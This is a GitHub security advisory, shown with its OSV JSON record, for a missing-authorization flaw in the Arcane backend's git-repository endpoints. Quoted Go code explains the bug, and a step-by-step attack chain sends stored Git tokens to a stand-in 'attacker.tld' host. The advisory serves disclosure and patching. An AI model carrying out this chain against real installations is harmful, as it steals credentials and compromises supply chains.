GHSA-7H26-HG47-P9HX
Vulnerability from github – Published: 2026-05-18 13:44 – Updated: 2026-05-18 13:44Summary
Arcane's huma-based REST API exposes nine endpoints under /api/customize/git-repositories and /api/git-repositories/sync for managing GitOps source repositories and their stored credentials. Eight of those endpoints (list, create, get, update, delete, test, listBranches, browseFiles) never call the checkAdmin(ctx) helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the admin role. As a result, any logged-in user with the default user role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the token/sshKey fields (which UpdateRepository only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next /test, /branches, or /files call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host — producing a one-step exfiltration of plaintext Git credentials.
Details
Auth bridge does not enforce role
backend/internal/huma/middleware/auth.go:192-254 (NewAuthBridge) validates Bearer JWTs / API keys / agent tokens and stores the user (and an userIsAdmin flag) in the request context, but it never rejects non-admin callers — admin enforcement is intentionally delegated to handlers via helpers.checkAdmin:
// backend/internal/huma/handlers/helpers.go:11-12
// checkAdmin checks if the current user is an admin and returns a 403 error if not.
func checkAdmin(ctx context.Context) error { ... }
grep -rn "checkAdmin" confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role "user" (backend/internal/huma/handlers/users.go:222-223):
if userModel.Roles == nil {
userModel.Roles = []string{"user"}
}
Git repository handler is missing the admin gate on 8 of 9 endpoints
backend/internal/huma/handlers/git_repositories.go:117-236 registers nine endpoints. Only SyncRepositories (line 456) calls checkAdmin(ctx). The other handlers — ListRepositories (line 243), CreateRepository (271), GetRepository (301), UpdateRepository (326), DeleteRepository (356), TestRepository (382), ListBranches (407), BrowseFiles (428) — perform no role check whatsoever:
// backend/internal/huma/handlers/git_repositories.go:326-336
func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {
if h.repoService == nil {
return nil, huma.Error500InternalServerError("service not available")
}
actor := models.User{}
if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {
actor = *currentUser
}
repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)
...
The service layer (backend/internal/services/git_repository_service.go) has no role enforcement either — grep -n "admin" backend/internal/services/git_repository_service.go returns nothing.
Credential-preserving update primitive
UpdateRepository builds a partial update map: the token/ssh_key columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when req.URL != nil:
// backend/internal/services/git_repository_service.go:185-219
updates := make(map[string]any)
if req.Name != nil { updates["name"] = *req.Name }
if req.URL != nil { updates["url"] = *req.URL } // <-- attacker-pivotable
if req.AuthType != nil { updates["auth_type"] = *req.AuthType }
...
if req.Token != nil { // <-- only rewritten if supplied
if *req.Token == "" { updates["token"] = "" } else {
encrypted, err := crypto.Encrypt(*req.Token)
...
updates["token"] = encrypted
}
}
So PUT /customize/git-repositories/{id} with body {"url":"https://attacker.tld/repo.git"} retargets the repository while preserving the encrypted token.
Sink: Basic-auth send to attacker URL
TestConnection and ListBranches/BrowseFiles decrypt the stored token via GetAuthConfig and pass the chosen URL + auth to gitutil:
// backend/internal/services/git_repository_service.go:340-363
func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {
authConfig := git.AuthConfig{
AuthType: repository.AuthType, Username: repository.Username, ...
}
if repository.Token != "" {
token, err := crypto.Decrypt(repository.Token)
...
authConfig.Token = token
}
...
}
// backend/pkg/gitutil/git.go:60-69
case "http":
if config.Token != "" {
return &githttp.BasicAuth{
Username: config.Username,
Password: config.Token,
}, nil
}
go-git's HTTP transport sends Authorization: Basic base64(username:token) in the very first reference-discovery request to the (attacker-controlled) URL — so the cleartext PAT lands in the attacker's web-server access log on the first call to /test, /branches, or /files.
Full attack chain (HTTP-token variant)
- Attacker authenticates as a normal
user(registration or any pre-existing low-priv account). GET /api/customize/git-repositoriesenumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their existence is visible).PUT /api/customize/git-repositories/{id}with{"url":"https://attacker.tld/repo.git"}retargets the repo while preserving the encrypted PAT.POST /api/customize/git-repositories/{id}/test(orGET .../branches) makes Arcane decrypt the PAT and send it toattacker.tldas HTTP Basic auth.- Optional cleanup:
PUTagain to restore the original URL, leaving no obvious config drift; orDELETEevery repo for DoS on the GitOps pipeline.
The same primitive works for authType: "ssh" repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default accept_new host-key mode, by the attacker simply observing the SSH session).
Impact
- Cleartext exfiltration of stored Git credentials. PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems — escaping Arcane's security boundary entirely (S:C).
- Privilege escalation to effective Arcane admin over GitOps. Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.
- Supply-chain integrity loss. A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.
- Denial of service on the GitOps pipeline.
DELETE /customize/git-repositories/{id}lets any user wipe production repository configurations. - Information disclosure of private repo contents.
GET .../filesclones private repos using stored credentials and returns file contents in the API response, regardless of caller role.
Default Arcane installations create new accounts with role user; no special configuration is required for the attack to be reachable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.18.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/getarcaneapp/arcane/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45625"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T13:44:47Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nArcane\u0027s huma-based REST API exposes nine endpoints under `/api/customize/git-repositories` and `/api/git-repositories/sync` for managing GitOps source repositories and their stored credentials. Eight of those endpoints (`list`, `create`, `get`, `update`, `delete`, `test`, `listBranches`, `browseFiles`) never call the `checkAdmin(ctx)` helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the `admin` role. As a result, any logged-in user with the default `user` role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository\u0027s URL to an attacker-controlled host while omitting the `token`/`sshKey` fields (which `UpdateRepository` only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next `/test`, `/branches`, or `/files` call and present it as HTTP Basic auth (or SSH key auth) to the attacker\u0027s host \u2014 producing a one-step exfiltration of plaintext Git credentials.\n\n## Details\n\n### Auth bridge does not enforce role\n\n`backend/internal/huma/middleware/auth.go:192-254` (`NewAuthBridge`) validates Bearer JWTs / API keys / agent tokens and stores the user (and an `userIsAdmin` flag) in the request context, but it never rejects non-admin callers \u2014 admin enforcement is intentionally delegated to handlers via `helpers.checkAdmin`:\n\n```go\n// backend/internal/huma/handlers/helpers.go:11-12\n// checkAdmin checks if the current user is an admin and returns a 403 error if not.\nfunc checkAdmin(ctx context.Context) error { ... }\n```\n\n`grep -rn \"checkAdmin\"` confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role `\"user\"` (`backend/internal/huma/handlers/users.go:222-223`):\n\n```go\nif userModel.Roles == nil {\n userModel.Roles = []string{\"user\"}\n}\n```\n\n### Git repository handler is missing the admin gate on 8 of 9 endpoints\n\n`backend/internal/huma/handlers/git_repositories.go:117-236` registers nine endpoints. Only `SyncRepositories` (line 456) calls `checkAdmin(ctx)`. The other handlers \u2014 `ListRepositories` (line 243), `CreateRepository` (271), `GetRepository` (301), `UpdateRepository` (326), `DeleteRepository` (356), `TestRepository` (382), `ListBranches` (407), `BrowseFiles` (428) \u2014 perform no role check whatsoever:\n\n```go\n// backend/internal/huma/handlers/git_repositories.go:326-336\nfunc (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {\n if h.repoService == nil {\n return nil, huma.Error500InternalServerError(\"service not available\")\n }\n actor := models.User{}\n if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists \u0026\u0026 currentUser != nil {\n actor = *currentUser\n }\n repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)\n ...\n```\n\nThe service layer (`backend/internal/services/git_repository_service.go`) has no role enforcement either \u2014 `grep -n \"admin\" backend/internal/services/git_repository_service.go` returns nothing.\n\n### Credential-preserving update primitive\n\n`UpdateRepository` builds a partial update map: the `token`/`ssh_key` columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when `req.URL != nil`:\n\n```go\n// backend/internal/services/git_repository_service.go:185-219\nupdates := make(map[string]any)\nif req.Name != nil { updates[\"name\"] = *req.Name }\nif req.URL != nil { updates[\"url\"] = *req.URL } // \u003c-- attacker-pivotable\nif req.AuthType != nil { updates[\"auth_type\"] = *req.AuthType }\n...\nif req.Token != nil { // \u003c-- only rewritten if supplied\n if *req.Token == \"\" { updates[\"token\"] = \"\" } else {\n encrypted, err := crypto.Encrypt(*req.Token)\n ...\n updates[\"token\"] = encrypted\n }\n}\n```\n\nSo `PUT /customize/git-repositories/{id}` with body `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repository while preserving the encrypted token.\n\n### Sink: Basic-auth send to attacker URL\n\n`TestConnection` and `ListBranches`/`BrowseFiles` decrypt the stored token via `GetAuthConfig` and pass the chosen URL + auth to `gitutil`:\n\n```go\n// backend/internal/services/git_repository_service.go:340-363\nfunc (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {\n authConfig := git.AuthConfig{\n AuthType: repository.AuthType, Username: repository.Username, ...\n }\n if repository.Token != \"\" {\n token, err := crypto.Decrypt(repository.Token)\n ...\n authConfig.Token = token\n }\n ...\n}\n```\n\n```go\n// backend/pkg/gitutil/git.go:60-69\ncase \"http\":\n if config.Token != \"\" {\n return \u0026githttp.BasicAuth{\n Username: config.Username,\n Password: config.Token,\n }, nil\n }\n```\n\n`go-git`\u0027s HTTP transport sends `Authorization: Basic base64(username:token)` in the very first reference-discovery request to the (attacker-controlled) URL \u2014 so the cleartext PAT lands in the attacker\u0027s web-server access log on the first call to `/test`, `/branches`, or `/files`.\n\n### Full attack chain (HTTP-token variant)\n\n1. Attacker authenticates as a normal `user` (registration or any pre-existing low-priv account).\n2. `GET /api/customize/git-repositories` enumerates all configured repositories (id, url, authType, username \u2014 token/sshKey are encrypted but their *existence* is visible).\n3. `PUT /api/customize/git-repositories/{id}` with `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repo while preserving the encrypted PAT.\n4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) makes Arcane decrypt the PAT and send it to `attacker.tld` as HTTP Basic auth.\n5. Optional cleanup: `PUT` again to restore the original URL, leaving no obvious config drift; or `DELETE` every repo for DoS on the GitOps pipeline.\n\nThe same primitive works for `authType: \"ssh\"` repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default `accept_new` host-key mode, by the attacker simply observing the SSH session).\n\n## Impact\n\n- **Cleartext exfiltration of stored Git credentials.** PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org\u0027s source repos, CI secrets, container registries, and downstream production systems \u2014 escaping Arcane\u0027s security boundary entirely (S:C).\n- **Privilege escalation to effective Arcane admin over GitOps.** Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.\n- **Supply-chain integrity loss.** A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.\n- **Denial of service on the GitOps pipeline.** `DELETE /customize/git-repositories/{id}` lets any user wipe production repository configurations.\n- **Information disclosure of private repo contents.** `GET .../files` clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.\n\nDefault Arcane installations create new accounts with role `user`; no special configuration is required for the attack to be reachable.",
"id": "GHSA-7h26-hg47-p9hx",
"modified": "2026-05-18T13:44:47Z",
"published": "2026-05-18T13:44:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getarcaneapp/arcane/security/advisories/GHSA-7h26-hg47-p9hx"
},
{
"type": "PACKAGE",
"url": "https://github.com/getarcaneapp/arcane"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Arcane Backend: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.